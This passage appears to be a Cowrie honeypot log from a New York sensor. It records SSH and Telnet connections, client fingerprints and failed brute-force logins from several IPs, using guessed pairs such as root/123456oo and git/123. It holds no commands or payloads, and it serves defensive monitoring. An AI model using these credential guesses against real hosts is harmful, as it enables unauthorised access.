{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:22.497618Z","src_ip":"176.65.139.103","session":"05881ff8c5e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:22.872452Z","src_ip":"176.65.139.103","session":"05881ff8c5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:24.205875Z","src_ip":"176.65.139.103","session":"05881ff8c5e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41974,"dst_ip":"10.17.0.5","dst_port":22,"session":"62465bd293f9","protocol":"ssh","message":"New connection: 176.65.139.103:41974 (10.17.0.5:22) [session: 62465bd293f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:28.971769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:29.034402Z","src_ip":"176.65.139.103","session":"62465bd293f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:29.322865Z","src_ip":"176.65.139.103","session":"62465bd293f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:29.845223Z","src_ip":"176.65.139.103","session":"62465bd293f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:30.928895Z","src_ip":"176.65.139.103","session":"62465bd293f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40840,"dst_ip":"10.17.0.5","dst_port":22,"session":"384b4296a1f2","protocol":"ssh","message":"New connection: 176.65.139.103:40840 (10.17.0.5:22) [session: 384b4296a1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:36.630457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:36.635126Z","src_ip":"176.65.139.103","session":"384b4296a1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:36.719775Z","src_ip":"176.65.139.103","session":"384b4296a1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:36.967919Z","src_ip":"176.65.139.103","session":"384b4296a1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:38.130697Z","src_ip":"176.65.139.103","session":"384b4296a1f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48640,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bdf67f121da","protocol":"ssh","message":"New connection: 176.65.139.103:48640 (10.17.0.5:22) [session: 8bdf67f121da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:43.707148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:43.711885Z","src_ip":"176.65.139.103","session":"8bdf67f121da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:43.794684Z","src_ip":"176.65.139.103","session":"8bdf67f121da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:44.067066Z","src_ip":"176.65.139.103","session":"8bdf67f121da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:45.182649Z","src_ip":"176.65.139.103","session":"8bdf67f121da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.83.40","src_port":54760,"dst_ip":"10.17.0.5","dst_port":23,"session":"8971cd3e76df","protocol":"telnet","message":"New connection: 104.236.83.40:54760 (10.17.0.5:23) [session: 8971cd3e76df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:48.748896Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48648,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0718e461110","protocol":"ssh","message":"New connection: 176.65.139.103:48648 (10.17.0.5:22) [session: a0718e461110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:50.190399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:50.195199Z","src_ip":"176.65.139.103","session":"a0718e461110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:50.281622Z","src_ip":"176.65.139.103","session":"a0718e461110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:50.527144Z","src_ip":"176.65.139.103","session":"a0718e461110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:51.613406Z","src_ip":"176.65.139.103","session":"a0718e461110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":44160,"dst_ip":"159.203.135.109","dst_port":23,"session":"2204fc2578c0","protocol":"telnet","message":"New connection: 185.26.126.47:44160 (159.203.135.109:23) [session: 2204fc2578c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:52.824699Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":51582,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcc023e63a55","protocol":"ssh","message":"New connection: 52.231.220.210:51582 (10.17.0.5:22) [session: fcc023e63a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:53.399762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:53.403488Z","src_ip":"52.231.220.210","session":"fcc023e63a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:53.590991Z","src_ip":"52.231.220.210","session":"fcc023e63a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456oo","message":"login attempt [root/123456oo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:54.349722Z","src_ip":"52.231.220.210","session":"fcc023e63a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:55.534394Z","src_ip":"52.231.220.210","session":"fcc023e63a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":38444,"dst_ip":"10.17.0.5","dst_port":22,"session":"b76aa930179e","protocol":"ssh","message":"New connection: 202.184.144.220:38444 (10.17.0.5:22) [session: b76aa930179e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:56.074271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:56.078512Z","src_ip":"202.184.144.220","session":"b76aa930179e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:56.311849Z","src_ip":"202.184.144.220","session":"b76aa930179e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50772,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf21300b099f","protocol":"ssh","message":"New connection: 176.65.139.103:50772 (10.17.0.5:22) [session: bf21300b099f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:56.584403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:56.594719Z","src_ip":"176.65.139.103","session":"bf21300b099f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:56.670763Z","src_ip":"176.65.139.103","session":"bf21300b099f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:57.001510Z","src_ip":"176.65.139.103","session":"bf21300b099f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14789632","message":"login attempt [root/14789632] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:57.274706Z","src_ip":"202.184.144.220","session":"b76aa930179e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:58.104067Z","src_ip":"176.65.139.103","session":"bf21300b099f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:58.509820Z","src_ip":"202.184.144.220","session":"b76aa930179e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51712,"dst_ip":"159.203.135.109","dst_port":22,"session":"b03d9f1f6362","protocol":"ssh","message":"New connection: 159.203.92.129:51712 (159.203.135.109:22) [session: b03d9f1f6362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:58.514040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:58.518287Z","src_ip":"159.203.92.129","session":"b03d9f1f6362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellm